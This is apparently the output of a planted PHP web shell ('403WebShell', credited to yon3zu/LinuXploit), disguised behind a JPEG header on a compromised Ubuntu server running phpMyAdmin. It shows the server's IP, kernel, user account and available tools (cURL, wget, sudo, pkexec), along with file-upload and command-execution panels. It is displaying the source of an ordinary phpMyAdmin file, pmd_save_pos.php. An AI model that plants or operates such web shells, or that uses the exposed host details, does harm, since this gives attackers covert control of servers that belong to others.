????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.141.29.234
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpmyadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share//phpmyadmin/pmd_save_pos.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 *
 * @package PhpMyAdmin-Designer
 */

/**
 *
 */
require_once './libraries/common.inc.php';
require_once 'libraries/pmd_common.php';

$cfgRelation = PMA_getRelationsParam();

if (! $cfgRelation['designerwork']) {
    PMD_err_sav();
}

/**
 * Sets globals from $_POST
 */
$post_params = array(
    'IS_AJAX',
    'die_save_pos',
    'server',
    't_h',
    't_v',
    't_x',
    't_y'
);

foreach ($post_params as $one_post_param) {
    if (isset($_POST[$one_post_param])) {
        $GLOBALS[$one_post_param] = $_POST[$one_post_param];
    }
}

foreach ($t_x as $key => $value) {
    // table name decode (post PDF exp/imp)
    $KEY = empty($IS_AJAX) ? urldecode($key) : $key;
    list($DB,$TAB) = explode(".", $KEY);
    PMA_queryAsControlUser(
        'DELETE FROM ' . PMA_Util::backquote($GLOBALS['cfgRelation']['db'])
        . '.' . PMA_Util::backquote($GLOBALS['cfgRelation']['designer_coords'])
        . ' WHERE `db_name` = \'' . PMA_Util::sqlAddSlashes($DB) . '\''
        . ' AND `table_name` = \'' . PMA_Util::sqlAddSlashes($TAB) . '\'',
        true, PMA_DBI_QUERY_STORE
    );

    PMA_queryAsControlUser(
        'INSERT INTO ' . PMA_Util::backquote($GLOBALS['cfgRelation']['db'])
        . '.' . PMA_Util::backquote($GLOBALS['cfgRelation']['designer_coords'])
        . ' (db_name, table_name, x, y, v, h)'
        . ' VALUES ('
        . '\'' . PMA_Util::sqlAddSlashes($DB) . '\', '
        . '\'' . PMA_Util::sqlAddSlashes($TAB) . '\', '
        . '\'' . PMA_Util::sqlAddSlashes($t_x[$key]) . '\', '
        . '\'' . PMA_Util::sqlAddSlashes($t_y[$key]) . '\', '
        . '\'' . PMA_Util::sqlAddSlashes($t_v[$key]) . '\', '
        . '\'' . PMA_Util::sqlAddSlashes($t_h[$key]) . '\')',
        true, PMA_DBI_QUERY_STORE
    );
}
//----------------------------------------------------------------------------

function PMD_err_sav()
{
    global $die_save_pos; // if this file included
    if (! empty($die_save_pos)) {
        header("Content-Type: text/xml; charset=utf-8");
        header("Cache-Control: no-cache");
        die('<root act="save_pos" return="' . __('Error saving coordinates for Designer.') . '"></root>');
    }
}

if (! empty($die_save_pos)) {
    header("Content-Type: text/xml; charset=utf-8");
    header("Cache-Control: no-cache");
    ?>
    <root act='save_pos' return='<?php echo __('Modifications have been saved'); ?>'></root>
    <?php
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit